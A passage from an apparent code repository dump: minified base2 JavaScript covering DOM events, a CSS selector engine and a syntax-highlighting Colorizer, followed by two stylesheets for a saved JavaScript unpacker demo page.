Event.bind(a.createEventObject())}}},"@(document.createEvent)":{"@!(document.createEvent('Events'))":{createEvent:function(a,b){return this.base(a,b=="Events"?"UIEvents":b)}}}});var DOMContentLoadedEvent=Base.extend({constructor:function(b){var c=false;this.fire=function(){if(!c){c=true;setTimeout(function(){var a=DocumentEvent.createEvent(b,"Events");Event.initEvent(a,"DOMContentLoaded",false,false);EventTarget.dispatchEvent(b,a)},1)}};EventTarget.addEventListener(b,"DOMContentLoaded",function(){c=true},false);EventTarget.addEventListener(Traversal.getDefaultView(b),"load",this.fire,false)},"@(attachEvent)":{constructor:function(){this.base(document);Traversal.getDefaultView(document).attachEvent("onload",this.fire)}},"@MSIE.+win":{constructor:function(a){this.base(a);if(a.readyState!="complete"){var b=this;a.write("<script id=__ready defer src=//:><\/script>");a.all.__ready.onreadystatechange=function(){if(this.readyState=="complete"){this.removeNode();b.fire()}}}}},"@KHTML":{constructor:function(a){this.base(a);if(a.readyState!="complete"){var b=this;var c=setInterval(function(){if(/loaded|complete/.test(a.readyState)){clearInterval(c);b.fire()}},100)}}}});new DOMContentLoadedEvent(document);Document.implement(DocumentEvent);Document.implement(EventTarget);Element.implement(EventTarget);var _41=/^\d+(px)?$/i;var _42=/(width|height|top|bottom|left|right|fontSize)$/;var _43=/^(color|backgroundColor)$/;var ViewCSS=Interface.extend({"@!(document.defaultView.getComputedStyle)":{"@MSIE":{getComputedStyle:function(b,c,d){var e=c.currentStyle;var f={getPropertyValue:function(a){return this[ViewCSS.toCamelCase(a)]}};for(var i in e){if(_42.test(i)){f[i]=_44(c,f[i])+"px"}else if(_43.test(i)){f[i]=_45(c,i=="color"?"ForeColor":"BackColor")}else{f[i]=e[i]}}return f}}}},{toCamelCase:function(c){return c.replace(/\-([a-z])/g,function(a,b){return b.toUpperCase()})}});function _44(a,b){if(_41.test(b))return parseInt(b);var c=a.style.left;var d=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;a.style.left=b||0;b=a.style.pixelLeft;a.style.left=c;a.runtimeStyle.left=d;return b};function _45(a,b){var c=a.document.body.createTextRange();c.moveToElementText(a);var d=c.queryCommandValue(b);return format("rgb(%1,%2,%3)",d&0xff,(d&0xff00)>>8,(d&0xff0000)>>16)};AbstractView.implement(ViewCSS);var NodeSelector=Interface.extend({"@!(element.querySelector)":{querySelector:function(a,b){return new Selector(b).exec(a,1)},querySelectorAll:function(a,b){return new Selector(b).exec(a)}}});extend(NodeSelector.prototype,{querySelector:function(a){return DOM.bind(this.base(a))},querySelectorAll:function(b){return extend(this.base(b),"item",function(a){return DOM.bind(this.base(a))})}});var DocumentSelector=NodeSelector.extend();var ElementSelector=NodeSelector.extend({"@!(element.matchesSelector)":{matchesSelector:function(a,b){return new Selector(b).test(a)}}});var StaticNodeList=Base.extend({constructor:function(b){b=b||[];this.length=b.length;this.item=function(a){return b[a]}},length:0,forEach:function(a,b){for(var i=0;i<this.length;i++){a.call(b,this.item(i),i,this)}},item:Undefined,"@(XPathResult)":{constructor:function(b){if(b&&b.snapshotItem){this.length=b.snapshotLength;this.item=function(a){return b.snapshotItem(a)}}else this.base(b)}}});StaticNodeList.implement(Enumerable);var CSSParser=RegGrp.extend({constructor:function(a){this.base(a);this.cache={};this.sorter=new RegGrp;this.sorter.add(/:not\([^)]*\)/,RegGrp.IGNORE);this.sorter.add(/([ >](\*|[\w-]+))([^: >+~]*)(:\w+-child(\([^)]+\))?)([^: >+~]*)/,"$1$3$6$4")},cache:null,ignoreCase:true,escape:function(b){var c=/'/g;var d=this._46=[];return this.optimise(this.format(String(b).replace(CSSParser.ESCAPE,function(a){d.push(a.slice(1,-1).replace(c,"\\'"));return"\x01"+d.length})))},format:function(a){return a.replace(CSSParser.WHITESPACE,"$1").replace(CSSParser.IMPLIED_SPACE,"$1 $2").replace(CSSParser.IMPLIED_ASTERISK,"$1*$2")},optimise:function(a){return this.sorter.exec(a.replace(CSSParser.WILD_CARD,">* "))},parse:function(a){return this.cache[a]||(this.cache[a]=this.unescape(this.exec(this.escape(a))))},unescape:function(c){var d=this._46;return c.replace(/\x01(\d+)/g,function(a,b){return d[b-1]})}},{ESCAPE:/'(\\.|[^'\\])*'|"(\\.|[^"\\])*"/g,IMPLIED_ASTERISK:/([\s>+~,]|[^(]\+|^)([#.:@])/g,IMPLIED_SPACE:/(^|,)([^\s>+~])/g,WHITESPACE:/\s*([\s>+~(),]|^|$)\s*/g,WILD_CARD:/\s\*\s/g,_47:function(c,d,e,f,g,h,i,j){f=/last/i.test(c)?f+"+1-":"";if(!isNaN(d))d="0n+"+d;else if(d=="even")d="2n";else if(d=="odd")d="2n+1";d=d.split(/n\+?/);var a=d[0]?(d[0]=="-")?-1:parseInt(d[0]):1;var b=parseInt(d[1])||0;var k=a<0;if(k){a=-a;if(a==1)b++}var l=format(a==0?"%3%7"+(f+b):"(%4%3-%2)%6%1%70%5%4%3>=%2",a,b,e,f,h,i,j);if(k)l=g+"("+l+")";return l}});var XPathParser=CSSParser.extend({constructor:function(){this.base(XPathParser.rules);this.sorter.putAt(1,"$1$4$3$6")},escape:function(a){return this.base(a).replace(/,/g,"\x02")},unescape:function(a){return this.base(a.replace(/\[self::\*\]/g,"").replace(/(^|\x02)\//g,"$1./").replace(/\x02/g," | "))},"@opera":{unescape:function(a){return this.base(a.replace(/last\(\)/g,"count(preceding-sibling::*)+count(following-sibling::*)+1"))}}},{init:function(){this.values.attributes[""]="[@$1]";forEach(this.types,function(a,b){forEach(this.values[b],a,this.rules)},this)},optimised:{pseudoClasses:{"first-child":"[1]","last-child":"[last()]","only-child":"[last()=1]"}},rules:extend({},{"@!KHTML":{"(^|\\x02) (\\*|[\\w-]+)#([\\w-]+)":"$1id('$3')[self::$2]","([ >])(\\*|[\\w-]+):([\\w-]+-child(\\(([^)]+)\\))?)":function(a,b,c,d,e,f){var g=(b==" ")?"//*":"/*";if(/^nth/i.test(d)){g+=_47(d,f,"position()")}else{g+=XPathParser.optimised.pseudoClasses[d]}return g+"[self::"+c+"]"}}}),types:{identifiers:function(a,b){this[rescape(b)+"([\\w-]+)"]=a},combinators:function(a,b){this[rescape(b)+"(\\*|[\\w-]+)"]=a},attributes:function(a,b){this["\\[([\\w-]+)\\s*"+rescape(b)+"\\s*([^\\]]*)\\]"]=a},pseudoClasses:function(a,b){this[":"+b.replace(/\(\)$/,"\\(([^)]+)\\)")]=a}},values:{identifiers:{"#":"[@id='$1'][1]",".":"[contains(concat(' ',@class,' '),' $1 ')]"},combinators:{" ":"/descendant::$1",">":"/child::$1","+":"/following-sibling::*[1][self::$1]","~":"/following-sibling::$1"},attributes:{"*=":"[contains(@$1,'$2')]","^=":"[starts-with(@$1,'$2')]","$=":"[substring(@$1,string-length(@$1)-string-length('$2')+1)='$2']","~=":"[contains(concat(' ',@$1,' '),' $2 ')]","|=":"[contains(concat('-',@$1,'-'),'-$2-')]","!=":"[not(@$1='$2')]","=":"[@$1='$2']"},pseudoClasses:{"empty":"[not(child::*) and not(text())]","first-child":"[not(preceding-sibling::*)]","last-child":"[not(following-sibling::*)]","not()":_48,"nth-child()":_47,"nth-last-child()":_47,"only-child":"[not(preceding-sibling::*) and not(following-sibling::*)]","root":"[not(parent::*)]"}},"@opera":{init:function(){this.optimised.pseudoClasses["last-child"]=this.values.pseudoClasses["last-child"];this.optimised.pseudoClasses["only-child"]=this.values.pseudoClasses["only-child"];this.base()}}});var _49=new XPathParser;function _48(a,b){return"[not("+_49.exec(trim(b)).replace(/\[1\]/g,"").replace(/^(\*|[\w-]+)/,"[self::$1]").replace(/\]\[/g," and ").slice(1,-1)+")]"};function _47(a,b,c){return"["+CSSParser._47(a,b,c||"count(preceding-sibling::*)+1","last()","not"," and "," mod ","=")+"]"};var _50=":(checked|disabled|enabled|contains)|^(#[\\w-]+\\s*)?\\w+$";if(detect("KHTML")){if(detect("WebKit5")){_50+="|nth\\-|,"}else{_50="."}}_50=new RegExp(_50);var _51;var Selector=Base.extend({constructor:function(a){this.toString=K(trim(a))},exec:function(a,b){return Selector.parse(this)(a,b)},test:function(a){var b=new Selector(this+"[-base2-test]");a.setAttribute("-base2-test",true);var c=b.exec(Traversal.getOwnerDocument(a),true);a.removeAttribute("-base2-test");return c==a},toXPath:function(){return Selector.toXPath(this)},"@(XPathResult)":{exec:function(a,b){if(_50.test(this)){return this.base(a,b)}var c=Traversal.getDocument(a);var d=b?9:7;var e=c.evaluate(this.toXPath(),a,null,d,null);return b?e.singleNodeValue:e}},"@MSIE":{exec:function(a,b){if(typeof a.selectNodes!="undefined"&&!_50.test(this)){var c=b?"selectSingleNode":"selectNodes";return a[c](this.toXPath())}return this.base(a,b)}},"@(true)":{exec:function(a,b){try{var c=this.base(a||document,b)}catch(error){throw new SyntaxError(format("'%1' is not a valid CSS selector.",this));}return b?c:new StaticNodeList(c)}}},{toXPath:function(a){if(!_51)_51=new XPathParser;return _51.parse(a)}});new function(_){var _52={"=":"%1=='%2'","!=":"%1!='%2'","~=":/(^| )%1( |$)/,"|=":/^%1(-|$)/,"^=":/^%1/,"$=":/%1$/,"*=":/%1/};_52[""]="%1!=null";var _53={"checked":"e%1.checked","contains":"e%1[TEXT].indexOf('%2')!=-1","disabled":"e%1.disabled","empty":"Traversal.isEmpty(e%1)","enabled":"e%1.disabled===false","first-child":"!Traversal.getPreviousElementSibling(e%1)","last-child":"!Traversal.getNextElementSibling(e%1)","only-child":"!Traversal.getPreviousElementSibling(e%1)&&!Traversal.getNextElementSibling(e%1)","root":"e%1==Traversal.getDocument(e%1).documentElement"};var _54=detect("(element.sourceIndex)");var _55="var p%2=0,i%2,e%2,n%2=e%1.";var _56=_54?"e%1.sourceIndex":"assignID(e%1)";var _57="var g="+_56+";if(!p[g]){p[g]=1;";var _58="r[r.length]=e%1;if(s)return e%1;";var _59="r.sort(sorter);";var _60="fn=function(e0,s){indexed++;var r=[],p={},reg=[%1],"+"d=Traversal.getDocument(e0),c=d.body?'toUpperCase':'toString';";var byId=_32?function(a,b){var c=a.all[b]||null;if(!c||c.id==b)return c;for(var i=0;i<c.length;i++){if(c[i].id==b)return c[i]}return null}:function(a,b){return a.getElementById(b)};var indexed=1;function register(a){if(a.rows){a.b2_length=a.rows.length;a.b2_lookup="rowIndex"}else if(a.cells){a.b2_length=a.cells.length;a.b2_lookup="cellIndex"}else if(a.b2_indexed!=indexed){var b=0;var c=a.firstChild;while(c){if(c.nodeType==1&&c.nodeName!="!"){c.b2_index=++b}c=c.nextSibling}a.b2_length=b;a.b2_lookup="b2_index"}a.b2_indexed=indexed;return a};var sorter=_54?function(a,b){return a.sourceIndex-b.sourceIndex}:Node.compareDocumentPosition;var fn;var reg;var _61;var _62;var _63;var _64;var _65={};var parser=new CSSParser({"^ \\*:root":function(a){_62=false;var b="e%2=d.documentElement;if(Traversal.contains(e%1,e%2)){";return format(b,_61++,_61)}," (\\*|[\\w-]+)#([\\w-]+)":function(a,b,c){_62=false;var d="var e%2=byId(d,'%4');if(e%2&&";if(b!="*")d+="e%2.nodeName=='%3'[c]()&&";d+="Traversal.contains(e%1,e%2)){";if(_63)d+=format("i%1=n%1.length;",_63);return format(d,_61++,_61,b,c)}," (\\*|[\\w-]+)":function(a,b){_64++;_62=b=="*";var c=_55;c+=(_62&&_33)?"all":"getElementsByTagName('%3')";c+=";for(i%2=0;(e%2=n%2[i%2]);i%2++){";return format(c,_61++,_63=_61,b)},">(\\*|[\\w-]+)":function(a,b){var c=_32&&_63;_62=b=="*";var d=_55;d+=c?"children":"childNodes";if(!_62&&c)d+=".tags('%3')";d+=";for(i%2=0;(e%2=n%2[i%2]);i%2++){";if(_62){d+="if(e%2.nodeType==1){";_62=_33}else{if(!c)d+="if(e%2.nodeName=='%3'[c]()){"}return format(d,_61++,_63=_61,b)},"\\+(\\*|[\\w-]+)":function(a,b){var c="";if(_62&&_32)c+="if(e%1.tagName!='!'){";_62=false;c+="e%1=Traversal.getNextElementSibling(e%1);if(e%1";if(b!="*")c+="&&e%1.nodeName=='%2'[c]()";c+="){";return format(c,_61,b)},"~(\\*|[\\w-]+)":function(a,b){var c="";if(_62&&_32)c+="if(e%1.tagName!='!'){";_62=false;_64=2;c+="while(e%1=e%1.nextSibling){if(e%1.b2_adjacent==indexed)break;if(";if(b=="*"){c+="e%1.nodeType==1";if(_33)c+="&&e%1.tagName!='!'"}else c+="e%1.nodeName=='%2'[c]()";c+="){e%1.b2_adjacent=indexed;";return format(c,_61,b)},"#([\\w-]+)":function(a,b){_62=false;var c="if(e%1.id=='%2'){";if(_63)c+=format("i%1=n%1.length;",_63);return format(c,_61,b)},"\\.([\\w-]+)":function(a,b){_62=false;reg.push(new RegExp("(^|\\s)"+rescape(b)+"(\\s|$)"));return format("if(e%1.className&&reg[%2].test(e%1.className)){",_61,reg.length-1)},":not\\((\\*|[\\w-]+)?([^)]*)\\)":function(a,b,c){var d=(b&&b!="*")?format("if(e%1.nodeName=='%2'[c]()){",_61,b):"";d+=parser.exec(c);return"if(!"+d.slice(2,-1).replace(/\)\{if\(/g,"&&")+"){"},":nth(-last)?-child\\(([^)]+)\\)":function(a,b,c){_62=false;b=format("e%1.parentNode.b2_length",_61);var d="if(p%1!==e%1.parentNode)p%1=register(e%1.parentNode);";d+="var i=e%1[p%1.b2_lookup];if(";return format(d,_61)+CSSParser._47(a,c,"i",b,"!","&&","%","==")+"){"},":([\\w-]+)(\\(([^)]+)\\))?":function(a,b,c,d){return"if("+format(_53[b]||"throw",_61,d||"")+"){"},"\\[([\\w-]+)\\s*([^=]?=)?\\s*([^\\]]*)\\]":function(a,b,c,d){var e=_36[b]||b;if(c){var f="e%1.getAttribute('%2',2)";if(!_35.test(b)){f="e%1.%3||"+f}b=format("("+f+")",_61,b,e)}else{b=format("Element.getAttribute(e%1,'%2')",_61,b)}var g=_52[c||""];if(instanceOf(g,RegExp)){reg.push(new RegExp(format(g.source,rescape(parser.unescape(d)))));g="reg[%2].test(%1)";d=reg.length-1}return"if("+format(g,b,d)+"){"}});Selector.parse=function(a){if(!_65[a]){reg=[];fn="";var b=parser.escape(a).split(",");for(var i=0;i<b.length;i++){_62=_61=_63=0;_64=b.length>1?2:0;var c=parser.exec(b[i])||"throw;";if(_62&&_32){c+=format("if(e%1.tagName!='!'){",_61)}var d=(_64>1)?_57:"";c+=format(d+_58,_61);c+=Array(match(c,/\{/g).length+1).join("}");fn+=c}if(b.length>1)fn+=_59;eval(format(_60,reg)+parser.unescape(fn)+"return s?null:r}");_65[a]=fn}return _65[a]}};Document.implement(DocumentSelector);Element.implement(ElementSelector);var HTMLDocument=Document.extend(null,{"@(document.activeElement===undefined)":{bind:function(b){b.activeElement=null;EventTarget.addEventListener(b,"focus",function(a){b.activeElement=a.target},false);return this.base(b)}}});var HTMLElement=Element.extend({addClass:function(a,b){if(!this.hasClass(a,b)){a.className+=(a.className?" ":"")+b}},hasClass:function(a,b){var c=new RegExp("(^|\\s)"+b+"(\\s|$)");return c.test(a.className)},removeClass:function(a,b){var c=new RegExp("(^|\\s)"+b+"(\\s|$)","g");a.className=a.className.replace(c,"$2")},toggleClass:function(a,b){if(this.hasClass(a,b)){this.removeClass(a,b)}else{this.addClass(a,b)}}},{bindings:{},tags:"*",extend:function(){var b=base(this,arguments);var c=(b.tags||"").toUpperCase().split(",");forEach(c,function(a){HTMLElement.bindings[a]=b});return b},"@!(element.ownerDocument)":{bind:function(a){a.ownerDocument=Traversal.getOwnerDocument(a);return this.base(a)}}});eval(this.exports)};new function(_){var JSB=new base2.Package(this,{name:"JSB",version:"0.7",imports:"DOM",exports:"Behavior, Rule, RuleList"});eval(this.imports);var Behavior=Abstract.extend();var Call=Base.extend({constructor:function(a,b,c,d){this.release=function(){b.apply(a,c)};this.rank=d||(100+Call.list.length)}},{list:[],defer:function(a,b){return function(){if(Call.list){Call.list.push(new Call(this,a,arguments,b))}else{a.apply(this,arguments)}}},init:function(){EventTarget.addEventListener(document,"DOMContentLoaded",function(){if(Call.list){DOM.bind(document);Call.list.sort(function(a,b){return a.rank-b.rank});invoke(Call.list,"release");delete Call.list;setTimeout(function(){var a=DocumentEvent.createEvent(document,"Events");Event.initEvent(a,"ready",false,false);EventTarget.dispatchEvent(document,a)},1)}},false)}});var _66=/^on[a-z]+$/;var Rule=Base.extend({constructor:function(e,f){e=new Selector(e);if(Behavior.ancestorOf(f)){f=f.prototype}var g={},h={},i=f.style,j={};forEach(f,function(a,b){if(b.charAt(0)=="@"){if(detect(b.slice(1))){forEach(a,arguments.callee)}}else if(typeof a=="function"&&_66.test(b)){h[b.slice(2)]=a}else if(b!="style"){g[b]=a}});function addBehavior(a){var b=assignID(a);if(!j[b]){j[b]=true;DOM.bind(a);extend(a,g);extend(a.style,i);for(var c in h){var target=a;var d=h[c];if(c.indexOf("document")==0){target=document;c=c.slice(8);d=bind(d,a)}target.addEventListener(c,d,false)}}};this.refresh=Call.defer(function(){e.exec(document).forEach(addBehavior)});this.toString=K(String(e));this.refresh()},refresh:Undefined});var RuleList=Collection.extend({constructor:function(a){this.base(a);this.globalize()},globalize:Call.defer(function(){var e=/[^\s,]+/g;var f=/^#[\w-]+$/;forEach(this,function(c,d){forEach(match(d,e),function(a){if(f.test(a)){var b=ViewCSS.toCamelCase(a.slice(1));window[b]=Document.querySelector(document,a)}})})},10),refresh:function(){this.invoke("refresh")}},{Item:Rule});eval(this.exports)};eval(base2.namespace);var DEFAULT="@0";var IGNORE=RegGrp.IGNORE;var Colorizer=RegGrp.extend({constructor:function(c,d,e){this.extend(e);this.patterns=c||{};var f={},i;forEach(c,function(a,b){f[b]=d[b]||DEFAULT});forEach(d,function(a,b){f[b]=d[b]});this.base(f)},patterns:null,tabStop:4,urls:true,copy:function(){var a=this.base();a.patterns=copy(this.patterns);return a},exec:function(a,b){a=this.base(this.escape(a));if(!b){a=this._67(a);if(this.urls)a=Colorizer.urls.exec(a)}return this.unescape(a)},escape:function(a){return String(a).replace(/</g,"\x01").replace(/&/g,"\x02")},put:function(c,d){if(!instanceOf(c,RegGrp.Item)){if(typeof d=="string"){d=d.replace(/@(\d)/,function(a,b){return format(Colorizer.FORMAT,c,b)})}c=this.patterns[c]||Colorizer.patterns[c]||c;if(instanceOf(c,RegExp))c=c.source;c=this.escape(c)}return this.base(c,d)},unescape:function(a){return a.replace(/\x01/g,"&lt;").replace(/\x02/g,"&amp;")},_67:function(c){var d=this.tabStop;if(d>0){var e=Array(d+1).join(" ");return c.replace(Colorizer.TABS,function(a){a=a.replace(Colorizer.TAB,e);if(d>1){var b=(a.length-1)%d;if(b)a=a.slice(0,-b)}return a.replace(/ /g,"&nbsp;")})}return c},"@MSIE":{_67:function(a){return this.base(a).replace(/\r?\n/g,"<br>")}}},{version:"0.8",FORMAT:'<span class="%1">$%2</span>',DEFAULT:DEFAULT,IGNORE:IGNORE,TAB:/\t/g,TABS:/\n([\t \xa0]+)/g,init:function(){forEach(this.patterns,function(c,d,e){if(instanceOf(c,Array)){e[d]=reduce(c,function(a,b){a.add(e[b]);return a},new RegGrp)}});this.urls=this.patterns.urls.copy();this.urls.putAt(0,'<a href="mailto:$0">$0</a>');this.urls.putAt(1,'<a href="$0">$0</a>')},addScheme:function(a,b,c,d){this[a]=new this(b,c,d)},patterns:{block_comment:/\/\*[^*]*\*+([^\/][^*]*\*+)*\//,email:/([\w.+-]+@[\w.-]+\.\w+)/,line_comment:/\/\/[^\r\n]*/,number:/\b\-?(0|[1-9]\d*)(\.\d+)?([eE][-+]?\d+)?\b/,string1:/'(\\.|[^'\\])*'/,string2:/"(\\.|[^"\\])*"/,url:/(http:\/\/+[\w\/\-%&#=.,?+$]+)/,comment:["block_comment","line_comment"],string:["string1","string2"],urls:["email","url"]},urls:null});base2.addPackage("code");base2.code.addName("Colorizer",Colorizer);with(base2.code.Colorizer)addScheme("xml",{attribute:/(\w+)=("[^"]*"|'[^']*')/,cdata:/<!\[CDATA\[([^\]]|\][^\]]|\]\][^>])*\]\]>/,comment:/<!\s*(--([^-]|[\r\n]|-[^-])*--\s*)>/,entity:/&#?\w+;/,"processing-instruction":/<\?[\w-]+[^>]+>/,tag:/(<\/?)([\w:-]+)/,text:/[>;][^<>&]*/},{cdata:IGNORE,tag:"$1@2",attribute:'@1=<span class="attribute value">$2</span>',text:IGNORE},{tabStop:1});with(base2)code.Colorizer.addScheme("html",{conditional:/<!(--)?\[[^\]]*\]>|<!\[endif\](--)?>/,doctype:/<!(DOCTYPE|doctype)[^>]+>/,inline:/<(script|style)([^>]*)>((\\.|[^\\])*)<\/\1>/},{inline:function(a,b,c,d){return format(this.INLINE,b,this.exec(c,true),d)}},{INLINE:'&lt;<span class="tag">%1</span>%2&gt;%3&lt;/<span class="tag">%1</span>&gt;',tabStop:1});with(base2.code.Colorizer)html.merge(xml);with(base2.code.Colorizer)addScheme("css",{at_rule:/@[\w\s]+/,bracketed:/\([^'\x22)]*\)/,comment:patterns.block_comment,property:/(\w[\w-]*\s*):([^;}]+)/,special:/(\-[\w-]*\s*):/,selector:/([\w-:\[.#][^{};]*)\{/},{bracketed:IGNORE,selector:"@1{",special:"@1:",property:'@1:<span class="property value">$2</span>'});with(base2.code.Colorizer)addScheme("javascript",{conditional:/\/\*@if\s*\([^\)]*\)|\/\*@[\s\w]*|@\*\/|\/\/@\w+|@else[\s\w]*/,global:/\b(clearInterval|clearTimeout|constructor|document|escape|hasOwnProperty|Infinity|isNaN|NaN|parseFloat|parseInt|prototype|setInterval|setTimeout|toString|unescape|valueOf|window)\b/,keyword:/\b(&&|\|\||arguments|break|case|continue|default|delete|do|else|false|for|function|if|in|instanceof|new|null|return|switch|this|true|typeof|var|void|while|with|undefined)\b/,regexp:/([\[(\^=,{}:;&|!*?]\s*)(\/(\\\/|[^\/*])(\\.|[^\/\n\\])*\/[mgi]*)/,special:/\b(assert\w*|alert|catch|confirm|console|debug|debugger|eval|finally|prompt|throw|try)\b/},{comment:DEFAULT,string:DEFAULT,regexp:"$1@2",number:DEFAULT});with(base2)with(code)Colorizer["html-multi"]=Colorizer.html.union({inline:function(a,b,c,d){var e=b=="style"?"css":"javascript";d=Colorizer[e].exec(d,true);d=format('<span class="%1">%2</span>',e,d);return format(this.INLINE,b,this.exec(c,true),d)}});with(base2.code.Colorizer.javascript){add("\\b("+(base2.exports+",base,base2,merge,union,implement,Array2,Date2,String2").match(/[^\s,]+/g).join("|")+")\\b",'<span class="base2">$0</span>');insertAt(0,/("@[^"]+"):/,'<span class="special">$1</span>:');tabStop=2}eval(base2.namespace);eval(DOM.namespace);eval(JSB.namespace);var bindings=new RuleList;bindings.add("pre",{ondocumentready:function(){if(this.hasClass("js")){this.addClass("javascript")}var a=this.className.split(/\s+/);for(var i=0;i<a.length;i++){var b=a[i];var c=Colorizer[b];if(c instanceof Colorizer){var d=Traversal.getTextContent(this);this.innerHTML=c.exec(d);this.addClass("highlight");if(b=="html-multi")this.addClass("html");break}}}});function updateFlag(){this.nextSibling.style.color=this.value?"#898E79":"#A03333"};bindings.add("input.required,textarea.required",{ondocumentready:updateFlag,ondocumentmouseup:updateFlag,ondocumentkeyup:updateFlag});
2 | 


--------------------------------------------------------------------------------
/demo2/_unpacker__pliki/style.css:
--------------------------------------------------------------------------------
  1 | html{margin:0; padding:0; background-color:#e2e3e8;}
  2 | body{font-family:Verdana,Geneva,Arial,Helvetica,sans-serif; padding:0 2em;
  3 |  line-height:1.4; background-color:#fcfcfc; width:80%; min-width:20em;
  4 |  max-width:60em; font-size:90%; margin:10px auto; border:2px solid #eee;}
  5 | @media (max-width:320px){
  6 |  body{margin:0; width:auto; min-width:none; max-width:none; font-size:medium; margin:0; border:none;}
  7 | }
  8 | dt {font-weight: bold}
  9 | img {vertical-align:middle;}
 10 | article,aside,footer,header {display:block; margin:1em 0}
 11 | nav {display:block; margin:0}
 12 | header a,h1 a,h2 a,h3 a {color:#00e !important; border-bottom:none}
 13 | a {text-decoration:none; border-bottom:1px solid}
 14 | a:link,cite a:link {color:#00e; border-color:#00e}
 15 | a:visited,cite a:visited {color:#551a86; border-color:#551a86}
 16 | a:hover {color:darkred!important; background-color:#ffc!important; border-color:darkred!important}
 17 | blockquote {padding:0 2em; margin:1.33em 2em; border-left:2em solid #e6e9f9; color:#444}
 18 | blockquote address {text-align:right; font-size:smaller}
 19 | blockquote address a {color:#898e79}
 20 | pre,code,kbd {font-size:1em; font-style:normal; font-weight: normal;
 21 |  font-family:Consolas,Monaco,"Lucida Console","Liberation Mono","DejaVu Sans Mono","Bitstream Vera Sans Mono","Courier New"}
 22 | pre {font-size:small; border:1px solid #e7e7ef; background-color:#f6f6f9; padding:1em}
 23 | header {margin-top:0; padding:1ex 0}
 24 | body > header {color:#00e; border-bottom:1px solid #00e}
 25 | footer {padding:1ex 0; font-size:smaller; margin-bottom:0}
 26 | body > footer {border-top:1px solid black; margin-top:3em; font-size:x-small; padding:0; color:#898e79}
 27 | article h2 {border-bottom:1px solid #ccf}
 28 | header h1 {font-style:italic; font-size:1.25em; margin:0}
 29 | nav ul {list-style:none; text-align:right; margin:0; padding:0}
 30 | nav ul.sub-menu {text-align:left;font-size:small}
 31 | nav li {display:inline; margin-left:1ex}
 32 | header nav li {border-left:2px solid; padding-left:1ex}
 33 | nav li:first-child {border-left:none; margin-left:0}
 34 | article header {border-bottom:none}
 35 | article footer {border-top:none;}
 36 | .meta {margin:1em 0 1.33em 1.33em; padding:0; color:#898e79}
 37 | .meta a {color:inherit}
 38 | .meta cite {color:black; font-style:normal}
 39 | .note {background-color:#ffc; padding:0 1em; border:1px solid #eeb}
 40 | .note blockquote {border-color:#eeb}
 41 | .footnote {font-style:italic}
 42 | .error {color:darkred}
 43 | /* forms */
 44 | fieldset {margin:0; padding:0; border:none}
 45 | form.contact fieldset {background-color:#f2f3f8; border:1px solid #e6e9f9; padding:1em}
 46 | form.contact fieldset p {margin:0; clear:left}
 47 | form.contact p label {display:inline;  float:left;  width:6em;  padding:3px 0}
 48 | form.contact p input {display:inline; float:left; width:34em; border:2px solid #e6e9f9}
 49 | form.contact textarea {display:inline; float:left; width:40em; margin-top:1em; border:2px solid #e6e9f9}
 50 | /* blog */
 51 | #weblog-single header h2 {color:black}
 52 | #prev-next {font-size:smaller}
 53 | #prev-next span, #comments .permalink span {display:none}
 54 | #prev-next .prev {float:left}
 55 | #prev-next .prev:before {content:"\2190"; margin-right:1ex}
 56 | #prev-next .next {float:right}
 57 | #prev-next .next:after {content:"\2192"; margin-left:1ex}
 58 | #prev-next nav:after {content:"\A0"; clear:both}
 59 | #comments article {padding:10px 0 20px 40px}
 60 | #comments article:after {display:block; content:""; margin:0 auto; border-bottom:1px solid #e6e9f9}
 61 | .trackback * {color:#898e79 !important; border-color:#898e79 !important}
 62 | #comments .permalink {margin:0 0 -2.33em -40px}
 63 | #comments .preview article {padding-top:0; border-left:20px solid #a66}
 64 | /* WEBLOG EXTRAS */
 65 | blockquote.verse {margin:auto;font-style:italic;font-size:1.1em;font-family:"Times New Roman",Times,serif;
 66 |  text-align:center;width:24em;background-color:ivory;border:1px solid black;color:#631919;padding:1em}
 67 | blockquote.verse h4 {margin-top:0;text-decoration:underline}
 68 | blockquote.verse p {margin:0}
 69 | blockquote.verse hr {width:25%;height:1px}
 70 | /* syntax highlighitng */
 71 | /* defaults */
 72 | .highlight {color:black}
 73 | .highlight span {display:inline!important}
 74 | .highlight .comment {color:green}
 75 | .highlight .conditional {background:#ffffa0}
 76 | .highlight .string, .highlight .regexp, .highlight .number {color:darkred}
 77 | .highlight .keyword {color:blue}
 78 | .highlight .special {color:red}
 79 | .highlight .tag {color:purple;font-weight:bold}
 80 | .highlight .attribute {font-weight:bold}
 81 | .highlight .attribute.value {color:blue;font-weight:normal}
 82 | .highlight .entity {color:orangered}
 83 | .highlight .processing-instruction {color:orchid;font-style:italic}
 84 | /* (X)HTML */
 85 | .html .doctype {color:steelblue;font-style:italic}
 86 | /* CSS */
 87 | .css .comment {color:gray}
 88 | .css .selector {color:darkred;font-weight:bold}
 89 | .css .at_rule {color:orangered}
 90 | .css .property {font-weight:bold}
 91 | .css .property.value {color:blue;font-weight:normal}
 92 | /* JavaScript */
 93 | .javascript .global {color:teal}
 94 | .javascript .base2 {color:purple}
 95 | @media print {
 96 |  html {background-color:white}
 97 |  body {margin:0; width:auto; min-width:none; max-width:none; font-size:medium; border:none; background-color:white}
 98 |  body > header,nav,form {display:none!important}
 99 |  header,a {color:black !important}
100 |  a {border:none!important}
101 |  a[href]:after {content:" (" attr(href) ")";   font-size:smaller}
102 |  #home-page a[href]:after,#my-page a[href]:after,.meta a[href]:after,.permalink a[href]:after {content:""}
103 | }


--------------------------------------------------------------------------------
/demo2/_unpacker__pliki/unpacker.css:
--------------------------------------------------------------------------------
 1 | h2 {margin: 0.5em 0em; font-weight: normal; font-size: 1em;}
 2 | hr {clear: both;}
 3 | .version {float: right;}
 4 | .description {float: left;}
 5 | form {padding: 0; margin: 0;}
 6 | textarea {margin: 0;}
 7 | #packer textarea {clear: both; width: 98%; margin-top: 4px; padding: 0 2px; font-family: monospace;}
 8 | @media screen and (min-width: 0px) {#packer textarea{width: 100%;}}
 9 | textarea.disabled, .disabled textarea {background-color: #EEEEEE; border: 2px solid #898E79;}
10 | *.disabled, .disabled * {color: #898E79 !important;}
11 | #input {background-color: #F0F0F0; border-color: #CCCCCC;}
12 | #controls {float: right; text-align: right;}
13 | #message {font-size: x-small; margin-top: 0.5em;}
14 | .error {color: #AA3333;}
15 | #packer #message {margin: 0 0 1em 0; float: right;}
16 | #packer p {margin: 0;}
17 | #packer p.form-buttons, #packer #controls {margin: 1em 0;}
18 | p.form-buttons button {margin-right: 0.2em;}
19 | #packer {margin-bottom: 1em; behavior: url(clipboard.htc);}
